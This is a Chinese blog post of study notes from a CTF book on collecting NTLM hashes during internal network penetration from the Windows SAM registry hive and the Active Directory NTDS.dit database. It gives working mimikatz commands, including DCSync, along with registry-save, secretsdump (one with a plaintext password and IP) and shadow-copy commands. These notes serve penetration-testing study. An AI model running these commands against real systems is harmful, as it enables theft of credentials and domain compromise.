内网渗透之获取hash身份凭证

内网渗透之获取hash身份凭证

0 前言

下文主要是从《从0到1的CTFer成长之路》阅读所做的笔记,以备忘总结为目的,归纳角度从原理和方法入手,直观体验是每个标题有两个子标题,分别为原理和方法
上文提到内网渗透之获取明文身份凭证,但有时如果拿不到明文的身份凭证又该怎么办,还有一种hash凭证可以获取。

1 SAM数据库

原理

审核 SAM,它使您能够审核通过尝试访问 SAM 安全帐户管理器或 SAM (生成的) 事件。安全帐户管理器 (SAM) 是运行 Windows 操作系统的计算机上存在的数据库,用于存储本地计算机上用户的用户帐户和安全描述符。SAM存放在注册表中,用户凭证是以NTLM HASH形式保存。上一篇将lsa的截图中sam也出场了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LCOzinwU-1614255605998)(media/16142420413654/16142425015835.jpg)]

简单科普一下NTLM hash

通常是指Windows系统下Security Account Manager中保存的用户密码hash

该hash的生成方法:

将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
对Unicode字符串作MD4加密,生成32位的十六进制数字串

方法

(1) 上传mimikatz

privilege::debug
token::elevate
lsadump::sam

(2) 导出sam数据库本地解析

reg save HKLM\sam sam
reg save HKLM\system system

然后用mimikatz提取hash

lsadump::sam /sam:sam /system:system

或者使用
secretsdumps.py

secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL

2 NTDS.dit

原理

中文名称是活动目录数据库,数据存储包含存储和管理用户、服务和应用程序的目录信息的 数据库文件和文件进程。

方法

(1)远程提取
secretsdump

secretsdumps.py -just-dc administrator:P@ssword@192.168.40.130

(2)本地提取
复制NTDS.ditd到本地然后用secretsdump提取

secretsdumps.py -ntds /tmp/ntds.dit - system /tmp//system.hiv LOCAL 

其中复制可能会受到限制,治理要用css卷影复制
脚本
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

usage:

Copy-VSS -DestinationDir C:\temp

(3)mimikatz
mimikatz通过dcsync特性获取域控的hash,usage

lsadump::dcsync /domain:lzly.lab /all /csv
上一篇:windows抓密码总结


下一篇:后缀自动机SAM 学习笔记